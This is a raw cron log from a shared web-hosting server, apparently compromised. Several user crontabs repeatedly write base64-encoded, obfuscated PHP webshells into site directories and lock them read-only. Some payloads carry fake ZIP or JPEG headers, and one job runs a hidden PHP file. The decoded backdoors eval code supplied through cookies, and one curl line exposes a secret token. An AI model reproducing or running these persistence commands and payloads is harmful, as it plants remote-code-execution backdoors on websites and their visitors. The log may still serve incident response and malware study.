Apr 19 06:06:01 medusa CROND[15706]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:06:01 medusa CROND[15709]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:07:01 medusa CROND[6554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:07:01 medusa CROND[6555]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:07:01 medusa CROND[6556]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:07:01 medusa CROND[6558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:07:01 medusa CROND[6559]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:07:01 medusa CROND[6561]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:07:01 medusa CROND[6562]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:07:01 medusa CROND[6563]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:07:01 medusa CROND[6565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:07:01 medusa CROND[6566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:07:01 medusa CROND[6568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:07:01 medusa CROND[6582]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:08:01 medusa CROND[30089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:08:01 medusa CROND[30090]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 06:08:01 medusa CROND[30091]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:08:01 medusa CROND[30092]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:08:01 medusa CROND[30093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:08:01 medusa CROND[30094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:08:01 medusa CROND[30097]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:08:01 medusa CROND[30099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:08:01 medusa CROND[30106]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:08:01 medusa CROND[30108]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:08:01 medusa CROND[30109]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:08:01 medusa CROND[30111]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:08:01 medusa CROND[30110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
